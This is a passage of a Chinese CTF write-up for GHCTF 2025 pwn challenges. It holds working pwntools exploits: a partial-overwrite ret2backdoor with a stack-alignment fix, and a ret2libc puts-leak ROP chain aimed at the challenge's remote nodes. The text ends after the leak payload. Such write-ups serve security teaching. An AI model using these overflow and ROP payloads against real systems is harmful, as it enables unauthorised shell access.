2025GHCTF_WP Welcome come to the world of PWN IDA ida_main:
1 2 3 4 5 6 7 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); out(); func1(); return 0 ; }
ida_out:
1 2 3 4 5 6 7 8 9 int out () { puts ("***** * * ***** ****** ***** " ); puts ("* * * * * * " ); puts ("* **** ***** * * ***** " ); puts ("* * * * * * * " ); puts ("***** * * ***** * * " ); return puts ("Hello pwner!" ); }
ida_fun1:
1 2 3 4 5 6 ssize_t func1 () { char buf[32 ]; return read(0 , buf, 0x40u LL); }
ida_backdoor:
1 2 3 4 int backdoor () { return system("/bin/sh" ); }
checksec 1 2 3 4 5 6 7 8 briteny@localhost:/mnt/d/111/pwn1$ checksec attachment [*] '/mnt/d/111/pwn1/attachment' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
gdb_funciton:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 gdb-peda$ info function All defined functions: Non-debugging symbols: 0x0000000000000728 _init 0x0000000000000760 puts@plt 0x0000000000000770 system@plt 0x0000000000000780 read@plt 0x0000000000000790 __libc_start_main@plt 0x00000000000007a0 setvbuf@plt 0x00000000000007b0 __gmon_start__@plt 0x00000000000007b8 __cxa_finalize@plt 0x00000000000007c0 _start 0x00000000000007f0 deregister_tm_clones 0x0000000000000830 register_tm_clones 0x0000000000000880 __do_global_dtors_aux 0x00000000000008c0 frame_dummy 0x00000000000008f0 func1 0x0000000000000911 init 0x0000000000000972 out 0x00000000000009c1 backdoor 0x00000000000009d4 main 0x0000000000000a00 __libc_csu_init 0x0000000000000a70 __libc_csu_fini 0x0000000000000a74 _fini
我的基本思路是覆盖ret_addr的低四位,有一个16进制位不确定,随后就尝试爆破
这是我最初的题解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * backdoor_addr = b'\xc1' + b'\x09' payload1 = b'a'* ( 0x20 + 0x8 ) + backdoor_addr count = 1 while True: p = process("./attachment") try: count += 1 print(count,end=' ') p.recvuntil(b"Hello pwner!\n") p.send(payload1) recv = p.recv(timeout=10) except: print("error",end=' ') else: p.interactive() break
但是尝试后不行
随后观察到这个main函数的地址和back_door的地址其实只有最后两个十六进制位不同
1 2 0x00000000000009c1 backdoor 0x00000000000009d4 main
所以只需要覆盖低两位,并且就不用再爆破了
1 2 3 4 5 6 7 8 9 10 from pwn import * p = process('./attachment') backdoor_addr = b'\xc1' payload1 = b'a'*( 0x20+0x8 ) + backdoor_addr p.send(payload1) sleep(0.5) p.interactive()
随后发现还是不行
再次用gdb调试
我不太熟悉动调,目前只会加pause()
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p = process('./attachment') backdoor_addr = b'\xc9' payload1 = b'a'* ( 0x20 + 0x8 ) + backdoor_addr pause() p.send(payload1) sleep(0.5) p.interactive()
gdb attach接管后的情况
未送入payload1前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 [----------------------------------registers-----------------------------------] RAX: 0xfffffffffffffe00 RBX: 0x7ffc20be2648 --> 0x7ffc20be41b3 ("./attachment") RCX: 0x7f495329ca61 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000) RDX: 0x40 ('@') RSI: 0x7ffc20be24f0 --> 0x0 RDI: 0x0 RBP: 0x7ffc20be2510 --> 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0 RSP: 0x7ffc20be24e8 --> 0x56531f60090e (<func1+30>: nop) RIP: 0x7f495329ca61 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000) R8 : 0xc ('\x0c') R9 : 0x7f49533a0380 (<_dl_fini>: endbr64) R10: 0x7f49531919d8 --> 0x11001200001bd3 R11: 0x246 R12: 0x1 R13: 0x0 R14: 0x0 R15: 0x7f49533d3000 --> 0x7f49533d42e0 --> 0x56531f600000 --> 0x10102464c457f EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7f495329ca5b <__GI___libc_read+11>: je 0x7f495329ca70 <__GI___libc_read+32> 0x7f495329ca5d <__GI___libc_read+13>: xor eax,eax 0x7f495329ca5f <__GI___libc_read+15>: syscall => 0x7f495329ca61 <__GI___libc_read+17>: cmp rax,0xfffffffffffff000 0x7f495329ca67 <__GI___libc_read+23>: ja 0x7f495329cab8 <__GI___libc_read+104> 0x7f495329ca69 <__GI___libc_read+25>: ret 0x7f495329ca6a <__GI___libc_read+26>: nop WORD PTR [rax+rax*1+0x0] 0x7f495329ca70 <__GI___libc_read+32>: push rbp [------------------------------------stack-------------------------------------] 0000| 0x7ffc20be24e8 --> 0x56531f60090e (<func1+30>: nop) 0008| 0x7ffc20be24f0 --> 0x0 0016| 0x7ffc20be24f8 --> 0x7f49533d3000 --> 0x7f49533d42e0 --> 0x56531f600000 --> 0x10102464c457f 0024| 0x7ffc20be2500 --> 0x7ffc20be2510 --> 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0 0032| 0x7ffc20be2508 --> 0x56531f6009be (<out+76>: nop) 0040| 0x7ffc20be2510 --> 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0 0048| 0x7ffc20be2518 --> 0x56531f6009f6 (<main+34>: mov eax,0x0) 0056| 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00007f495329ca61 in __GI___libc_read (fd=0x0, buf=0x7ffc20be24f0, nbytes=0x40) at ../sysdeps/unix/sysv/linux/read.c:26 warning: 26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x7ffc20be2648 —▸ 0x7ffc20be41b3 ◂— './attachment' RCX 0x7f495329ca61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x40 RDI 0 RSI 0x7ffc20be24f0 ◂— 0 R8 0xc R9 0x7f49533a0380 (_dl_fini) ◂— endbr64 R10 0x7f49531919d8 ◂— 0x11001200001bd3 R11 0x246 R12 1 R13 0 R14 0 R15 0x7f49533d3000 (_rtld_global) —▸ 0x7f49533d42e0 —▸ 0x56531f600000 ◂— jg 0x56531f600047 RBP 0x7ffc20be2510 —▸ 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0 RSP 0x7ffc20be24e8 —▸ 0x56531f60090e (func1+30) ◂— nop RIP 0x7f495329ca61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */ ──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────── ► 0x7f495329ca61 <read+17> cmp rax, -0x1000 0xfffffffffffffe00 - -0x1000 EFLAGS => 0x206 [ cf PF af zf sf IF df of ] 0x7f495329ca67 <read+23> ✔ ja read+104 <read+104> ↓ 0x7f495329cab8 <read+104> mov rdx, qword ptr [rip + 0xe7339] RDX, [_GLOBAL_OFFSET_TABLE_+632] => 0xffffffffffffff88 0x7f495329cabf <read+111> neg eax 0x7f495329cac1 <read+113> mov dword ptr fs:[rdx], eax [0x7f495317e6c8] <= 0x200 0x7f495329cac4 <read+116> mov rax, 0xffffffffffffffff RAX => 0xffffffffffffffff 0x7f495329cacb <read+123> ret <func1+30> ↓ 0x56531f60090e <func1+30> nop 0x56531f60090f <func1+31> leave 0x56531f600910 <func1+32> ret <main+34> ↓ 0x56531f6009f6 <main+34> mov eax, 0 EAX => 0 ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7ffc20be24e8 —▸ 0x56531f60090e (func1+30) ◂— nop 01:0008│ rsi 0x7ffc20be24f0 ◂— 0 02:0010│-018 0x7ffc20be24f8 —▸ 0x7f49533d3000 (_rtld_global) —▸ 0x7f49533d42e0 —▸ 0x56531f600000 ◂— jg 0x56531f600047 03:0018│-010 0x7ffc20be2500 —▸ 0x7ffc20be2510 —▸ 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— ... 04:0020│-008 0x7ffc20be2508 —▸ 0x56531f6009be (out+76) ◂— nop 05:0028│ rbp 0x7ffc20be2510 —▸ 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0 06:0030│+008 0x7ffc20be2518 —▸ 0x56531f6009f6 (main+34) ◂— mov eax, 0 07:0038│+010 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0 ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x7f495329ca61 read+17 1 0x56531f60090e func1+30 2 0x56531f6009f6 main+34 3 0x7f49531ab1ca __libc_start_call_main+122 4 0x7f49531ab28b __libc_start_main+139 5 0x56531f6007e9 _start+41 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
说实话,我不知道给我干哪来了,这还是国内吗?
反正应该就是读取前吧
送入payload1后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x29 (')') RBX: 0x7ffc20be2648 --> 0x7ffc20be41b3 ("./attachment") RCX: 0x7f495329ca61 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000) RDX: 0x40 ('@') RSI: 0x7ffc20be24f0 ('a' <repeats 40 times>, "\311\t`\037SV") RDI: 0x0 RBP: 0x6161616161616161 ('aaaaaaaa') RSP: 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0 RIP: 0x56531f6009c9 (<backdoor+8>: add DWORD PTR [rax],eax) R8 : 0xc ('\x0c') R9 : 0x7f49533a0380 (<_dl_fini>: endbr64) R10: 0x7f49531919d8 --> 0x11001200001bd3 R11: 0x246 R12: 0x1 R13: 0x0 R14: 0x0 R15: 0x7f49533d3000 --> 0x7f49533d42e0 --> 0x56531f600000 --> 0x10102464c457f EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x56531f6009c9 <backdoor+8>: add DWORD PTR [rax],eax 0x56531f6009cb <backdoor+10>: add al,ch 0x56531f6009cd <backdoor+12>: lahf 0x56531f6009ce <backdoor+13>: std [------------------------------------stack-------------------------------------] 0000| 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0 0008| 0x7ffc20be2528 --> 0x7f49531ab1ca (<__libc_start_call_main+122>: mov edi,eax) 0016| 0x7ffc20be2530 --> 0x7ffc20be2570 --> 0x0 0024| 0x7ffc20be2538 --> 0x7ffc20be2648 --> 0x7ffc20be41b3 ("./attachment") 0032| 0x7ffc20be2540 --> 0x11f600040 0040| 0x7ffc20be2548 --> 0x56531f6009d4 (<main>: push rbp) 0048| 0x7ffc20be2550 --> 0x7ffc20be2648 --> 0x7ffc20be41b3 ("./attachment") 0056| 0x7ffc20be2558 --> 0x81cc8af4cf836652 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000056531f6009c9 in backdoor () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────── *RAX 0x29 RBX 0x7ffc20be2648 —▸ 0x7ffc20be41b3 ◂— './attachment' RCX 0x7f495329ca61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x40 RDI 0 RSI 0x7ffc20be24f0 ◂— 0x6161616161616161 ('aaaaaaaa') R8 0xc R9 0x7f49533a0380 (_dl_fini) ◂— endbr64 R10 0x7f49531919d8 ◂— 0x11001200001bd3 R11 0x246 R12 1 R13 0 R14 0 R15 0x7f49533d3000 (_rtld_global) —▸ 0x7f49533d42e0 —▸ 0x56531f600000 ◂— jg 0x56531f600047 *RBP 0x6161616161616161 ('aaaaaaaa') *RSP 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0 *RIP 0x56531f6009c9 (backdoor+8) ◂— add dword ptr [rax], eax ──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────── ► 0x56531f6009c9 <backdoor+8> add dword ptr [rax], eax 0x56531f6009cb <backdoor+10> add al, ch 0x56531f6009cd <backdoor+12> lahf 0x56531f6009ce <backdoor+13> std ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0 01:0008│ 0x7ffc20be2528 —▸ 0x7f49531ab1ca (__libc_start_call_main+122) ◂— mov edi, eax 02:0010│ 0x7ffc20be2530 —▸ 0x7ffc20be2570 ◂— 0 03:0018│ 0x7ffc20be2538 —▸ 0x7ffc20be2648 —▸ 0x7ffc20be41b3 ◂— './attachment' 04:0020│ 0x7ffc20be2540 ◂— 0x11f600040 /* '@' */ 05:0028│ 0x7ffc20be2548 —▸ 0x56531f6009d4 (main) ◂— push rbp 06:0030│ 0x7ffc20be2550 —▸ 0x7ffc20be2648 —▸ 0x7ffc20be41b3 ◂— './attachment' 07:0038│ 0x7ffc20be2558 ◂— 0x81cc8af4cf836652 ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x56531f6009c9 backdoor+8 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
反正看gdb的调试情况确实跳转到后门函数里面了,但是程序却死了
这个时候就具体看看汇编的代码: assembly_backdoor:
1 2 3 4 5 6 7 8 9 10 11 12 .text:00000000000009C1 public backdoor .text:00000000000009C1 backdoor proc near .text:00000000000009C1 ; __unwind { .text:00000000000009C1 push rbp .text:00000000000009C2 mov rbp, rsp .text:00000000000009C5 lea rdi, command ; "/bin/sh" .text:00000000000009CC call _system .text:00000000000009D1 nop .text:00000000000009D2 pop rbp .text:00000000000009D3 retn .text:00000000000009D3 ; } // starts at 9C1 .text:00000000000009D3 backdoor endp
如果将溢出的返回地址改为后门的首地址,即b’\xc1’
再进行动调
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 pwndbg> c Continuing. Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7f78bff7dd58 --> 0x7ffce80bf788 --> 0x7ffce80c11c0 ("SHELL=/bin/bash") RBX: 0x7ffce80bf4b8 --> 0xc ('\x0c') RCX: 0x7ffce80bf4b8 --> 0xc ('\x0c') RDX: 0x0 RSI: 0x7f78bff3e42f --> 0x68732f6e69622f ('/bin/sh') RDI: 0x7ffce80bf2a4 --> 0xc00005565 ('eU') RBP: 0x7ffce80bf318 --> 0x0 RSP: 0x7ffce80bf298 --> 0x7ffce80bf620 --> 0x7ffce80bf778 --> 0x7ffce80c11b3 ("./attachment") RIP: 0x7f78bfdcb43b (<do_system+363>: movaps XMMWORD PTR [rsp+0x50],xmm0) R8 : 0x7ffce80bf2e8 --> 0xffffffff R9 : 0x7ffce80bf788 --> 0x7ffce80c11c0 ("SHELL=/bin/bash") R10: 0x8 R11: 0x246 R12: 0x556507a00b5b --> 0x68732f6e69622f ('/bin/sh') R13: 0x0 R14: 0x0 R15: 0x7f78bffc5000 --> 0x7f78bffc62e0 --> 0x556507a00000 --> 0x10102464c457f EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7f78bfdcb428 <do_system+344>: lea rsi,[rip+0x173000] # 0x7f78bff3e42f 0x7f78bfdcb42f <do_system+351>: mov QWORD PTR [rsp+0x70],0x0 0x7f78bfdcb438 <do_system+360>: mov r9,QWORD PTR [rax] => 0x7f78bfdcb43b <do_system+363>: movaps XMMWORD PTR [rsp+0x50],xmm0 0x7f78bfdcb440 <do_system+368>: call 0x7f78bfe81ca0 <__GI___posix_spawn> 0x7f78bfdcb445 <do_system+373>: mov rdi,rbx 0x7f78bfdcb448 <do_system+376>: mov r12d,eax 0x7f78bfdcb44b <do_system+379>: call 0x7f78bfe82180 <__posix_spawnattr_destroy> [------------------------------------stack-------------------------------------] 0000| 0x7ffce80bf298 --> 0x7ffce80bf620 --> 0x7ffce80bf778 --> 0x7ffce80c11b3 ("./attachment") 0008| 0x7ffce80bf2a0 --> 0x5565ffffffff 0016| 0x7ffce80bf2a8 --> 0xc ('\x0c') 0024| 0x7ffce80bf2b0 --> 0x7f78bff92380 (<_dl_fini>: endbr64) 0032| 0x7ffce80bf2b8 --> 0x7f78bffc6680 --> 0x7f78bffc65d8 --> 0x7f78bff8b6c0 --> 0x7f78bffc62e0 --> 0x556507a00000 (--> ...) 0040| 0x7ffce80bf2c0 --> 0x7ffce80bf2f0 --> 0x7f78bfd870c8 --> 0x110012000007e6 0048| 0x7ffce80bf2c8 --> 0x7f7800000001 0056| 0x7ffce80bf2d0 --> 0x7f78bffc62e0 --> 0x556507a00000 --> 0x10102464c457f [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007f78bfdcb43b in do_system (line=0x556507a00b5b "/bin/sh") at ../sysdeps/posix/system.c:148 warning: 148 ../sysdeps/posix/system.c: No such file or directory LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────── *RAX 0x7f78bff7dd58 (environ) —▸ 0x7ffce80bf788 —▸ 0x7ffce80c11c0 ◂— 'SHELL=/bin/bash' *RBX 0x7ffce80bf4b8 ◂— 0xc /* '\x0c' */ *RCX 0x7ffce80bf4b8 ◂— 0xc /* '\x0c' */ *RDX 0 *RDI 0x7ffce80bf2a4 ◂— 0xc00005565 /* 'eU' */ *RSI 0x7f78bff3e42f ◂— 0x68732f6e69622f /* '/bin/sh' */ *R8 0x7ffce80bf2e8 ◂— 0xffffffff *R9 0x7ffce80bf788 —▸ 0x7ffce80c11c0 ◂— 'SHELL=/bin/bash' *R10 8 R11 0x246 *R12 0x556507a00b5b ◂— 0x68732f6e69622f /* '/bin/sh' */ R13 0 R14 0 R15 0x7f78bffc5000 (_rtld_global) —▸ 0x7f78bffc62e0 —▸ 0x556507a00000 ◂— jg 0x556507a00047 *RBP 0x7ffce80bf318 ◂— 0 *RSP 0x7ffce80bf298 —▸ 0x7ffce80bf620 —▸ 0x7ffce80bf778 —▸ 0x7ffce80c11b3 ◂— './attachment' *RIP 0x7f78bfdcb43b (do_system+363) ◂— movaps xmmword ptr [rsp + 0x50], xmm0 ──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────── ► 0x7f78bfdcb43b <do_system+363> movaps xmmword ptr [rsp + 0x50], xmm0 <[0x7ffce80bf2e8] not aligned to 16 bytes> 0x7f78bfdcb440 <do_system+368> call posix_spawn <posix_spawn> 0x7f78bfdcb445 <do_system+373> mov rdi, rbx 0x7f78bfdcb448 <do_system+376> mov r12d, eax 0x7f78bfdcb44b <do_system+379> call posix_spawnattr_destroy <posix_spawnattr_destroy> 0x7f78bfdcb450 <do_system+384> test r12d, r12d 0x7f78bfdcb453 <do_system+387> je do_system+632 <do_system+632> 0x7f78bfdcb459 <do_system+393> mov dword ptr [rsp + 8], 0x7f00 0x7f78bfdcb461 <do_system+401> xor eax, eax EAX => 0 0x7f78bfdcb463 <do_system+403> mov edx, 1 EDX => 1 0x7f78bfdcb468 <do_system+408> lock cmpxchg dword ptr [rip + 0x1ad070], edx ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7ffce80bf298 —▸ 0x7ffce80bf620 —▸ 0x7ffce80bf778 —▸ 0x7ffce80c11b3 ◂— './attachment' 01:0008│ rdi-4 0x7ffce80bf2a0 ◂— 0x5565ffffffff 02:0010│-070 0x7ffce80bf2a8 ◂— 0xc /* '\x0c' */ 03:0018│-068 0x7ffce80bf2b0 —▸ 0x7f78bff92380 (_dl_fini) ◂— endbr64 04:0020│-060 0x7ffce80bf2b8 —▸ 0x7f78bffc6680 —▸ 0x7f78bffc65d8 —▸ 0x7f78bff8b6c0 —▸ 0x7f78bffc62e0 ◂— ... 05:0028│-058 0x7ffce80bf2c0 —▸ 0x7ffce80bf2f0 —▸ 0x7f78bfd870c8 ◂— 0x110012000007e6 06:0030│-050 0x7ffce80bf2c8 ◂— 0x7f7800000001 07:0038│-048 0x7ffce80bf2d0 —▸ 0x7f78bffc62e0 —▸ 0x556507a00000 ◂— jg 0x556507a00047 ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x7f78bfdcb43b do_system+363 1 0x556507a009d1 backdoor+16 2 0x7ffce80bf6f0 None 3 0x7f78bfd9d1ca __libc_start_call_main+122 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
观察到程序卡在了
1 0x7f78bfdcb43b <do_system+363> movaps xmmword ptr [rsp + 0x50], xmm0 <[0x7ffce80bf2e8] not aligned to 16 bytes>
这说明没有对齐栈,system()要求16字节对齐
改变了原本对齐的结果使得低十六位不为0
所以system()卡住了,backdoor函数改变了栈的结构
最后使得rsp没有十六进制对齐
所以要跳过前两个保存栈帧的语句
也就是将b’\xc1’改成b’\xc5’,从而跳过保留栈帧的语句
最终的题解如下
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * r = remote('node2.anna.nssctf.cn',28306) backdoor_addr = b'\xc5' payload1 = b'a'* (0x20+0x8) + backdoor_addr pause() r.send(payload1) sleep(0.5) r.interactive()
栈对齐 –getshell的临门一脚64位ubuntu系统调用system函数时是需要栈对齐的。
再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,说简单一点就是在将要调用system函数的时候,rsp指向的地址末尾需是0。
在64位程序中,栈地址的最后一位不是0就是8
详细原理介绍
1 ► 0x7f78bfdcb43b <do_system+363> movaps xmmword ptr [rsp + 0x50], xmm0 <[0x7ffce80bf2e8] not aligned to 16 bytes>
将xmm0中保存的单精度浮点数从xmm0移动至地址[rsp + 0x50]处
当然,更重要的是这条指令的执行条件,这直接关系到程序报错的原因。
当内存地址作为操作数时,内存地址必须对齐 16Byte 、 32Byte 或 64Byte 。这里所说的对齐 xByte ,就是指地址必须是 x 的倍数。
使用 XMM 时,需要 16Byte 对齐;使用 YMM 时,需要 32Byte 对齐;使用 ZMM 时,需要 64Byte 对齐。
ret2libc1 IDA IDA_main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); while ( 1 ) { menu(); switch ( (unsigned int )read_count() ) { case 1u : flower(); break ; case 2u : books(); break ; case 3u : hell_money(); break ; case 4u : clothing(); break ; case 5u : shop(); break ; case 6u : check_money(); break ; case 7u : see_it(); break ; default : puts ("Invalid choose" ); break ; } } }
IDA_menu:
1 2 3 4 5 6 7 8 9 10 int menu () { puts ("Welcome to shop, what do you buy?" ); puts ("1.flowers" ); puts ("2.books" ); puts ("3.hell money" ); puts ("4.clothing" ); puts ("5.buy my shop" ); return puts ("6.check youer money" ); }
IDA_flower:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int flower () { int result; int v1; int count; puts ("Which kind of flower would you like buy?" ); puts ("1.peony $10" ); puts ("2.rose $100" ); puts ("3.fragrans $20" ); count = read_count(); puts ("How many flowers do you want to buy?" ); v1 = read_count(); switch ( count ) { case 2 : if ( 100 * v1 > (unsigned int )money ) puts ("Don't have enough money" ); result = money - 100 * v1; money = result; break ; case 3 : if ( 20 * v1 > (unsigned int )money ) puts ("Don't have enough money" ); result = money - 20 * v1; money = result; break ; case 1 : if ( 10 * v1 > (unsigned int )money ) puts ("Don't have enough money" ); result = money - 10 * v1; money = result; break ; default : return puts ("Invalid choose" ); } return result; }
IDA_books:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int books () { int result; int v1; int count; puts ("Which kind of books would you like buy?" ); puts ("1.story books $10" ); puts ("2.novel books $80" ); puts ("3.note books $20" ); count = read_count(); puts ("How many books do you want to buy?" ); v1 = read_count(); switch ( count ) { case 2 : if ( 80 * v1 > (unsigned int )money ) puts ("Don't have enough money" ); result = money - 80 * v1; money = result; break ; case 3 : if ( 20 * v1 > (unsigned int )money ) puts ("Don't have enough money" ); result = money - 20 * v1; money = result; break ; case 1 : if ( 10 * v1 > (unsigned int )money ) puts ("Don't have enough money" ); result = money - 10 * v1; money = result; break ; default : return puts ("Invalid choose" ); } return result; }
IDA_hell_money:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int hell_money () { int result; unsigned int count; puts ("1$ = 1000hell_money" ); puts ("How much do you want to spend buying the hell_money?" ); count = read_count(); if ( money < count ) return puts ("Don't have enough money" ); result = what_can_I_say + 1000 * count; what_can_I_say = result; return result; }
IDA_clothing:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int clothing () { int result; int count; puts ("the price of clothing is 50$" ); puts ("How much do you want to buy" ); count = read_count(); if ( 50 * count > (unsigned int )money ) return puts ("Don't have enough money" ); result = money - 50 * count; money = result; return result; }
IDA_shop:
1 2 3 4 5 6 7 8 9 10 11 12 int shop () { char buf[64 ]; puts ("Do you want to buy my shop?" ); if ( money <= 100000 ) return puts ("roll!" ); money -= 100000 ; puts ("give you my shop!!!" ); puts ("You can name it!!!" ); return read(0 , buf, 0x80u LL); }
IDA_check_money:
1 2 3 4 5 int check_money () { printf ("you have %d $\n" , (unsigned int )money); return printf ("you have %d hell_money\n" , (unsigned int )what_can_I_say); }
IDA_see_it
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 see_it () { __int64 result; int count; puts ("Barter?!1000$ = 1hell_money" ); printf ("How much do you exchange?" ); count = read_count(); what_can_I_say -= count; result = (unsigned int )(money + 1000 * count); money += 1000 * count; return result; }
首先看到函数shop有个读的明显栈溢出漏洞,随后观察其他函数逻辑,发现这个子函数有一个编写逻辑存在问题,hell_money换钱但是不扣钱,在目录外的7又可以将另一种钱换回来,所以就有钱买店,顺利进入shop函数的读取漏洞
checksec 1 2 3 4 5 6 7 8 briteny@localhost:/mnt/d/111/pwn2$ checksec attachment [*] '/mnt/d/111/pwn2/attachment' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
ROPgadget 1 0x0000000000400d73 : pop rdi ; ret
泄露libc基址的payload构造
high_addr
start_addr
put_plt
puts_got
ret_addr [ pop_rdi_ret_addr ]
缓冲区+old_ebp
low_addr
构造getshell的栈的思路
high_addr
ret_addr
system_addr
binsh_addr
ret_addr [ pop_rdi_ret_addr ]
缓冲区+old_ebp
low_addr
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * context(log_level='debug',arch='amd64',os='linux') libc = ELF('./libc.so.6') f = ELF('./attachment') p=remote('node2.anna.nssctf.cn',28830) #p=process('./attachment') #进入溢出攻击位置 p.recvuntil(b'6.check youer money\n') p.sendline(b'3') p.recvuntil(b'How much do you want to spend buying the hell_money?\n') p.sendline(b'1000') p.recvuntil(b'6.check youer money\n') p.sendline(b'7') p.recvuntil(b'How much do you exchange?') p.sendline(b'1000000') p.recvuntil(b'6.check youer money\n') p.sendline(b'5') p.recvuntil(b'You can name it!!!\n') #开始栈溢出漏洞攻击 pop_rdi_ret_addr = 0x0000000000400d73 #puts_plt = 0x0400590 #puts_got = 0x0602018 #start_addr = 0x0400C4F puts_plt = f.plt['puts'] #puts函数的入口地址 puts_got = f.got['puts'] #puts函数的got表地址 start_addr = f.symbols['_start'] #程序的起始地址 payload1 = b'a'*(0x40 + 0x8) + p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr) p.send(payload1) 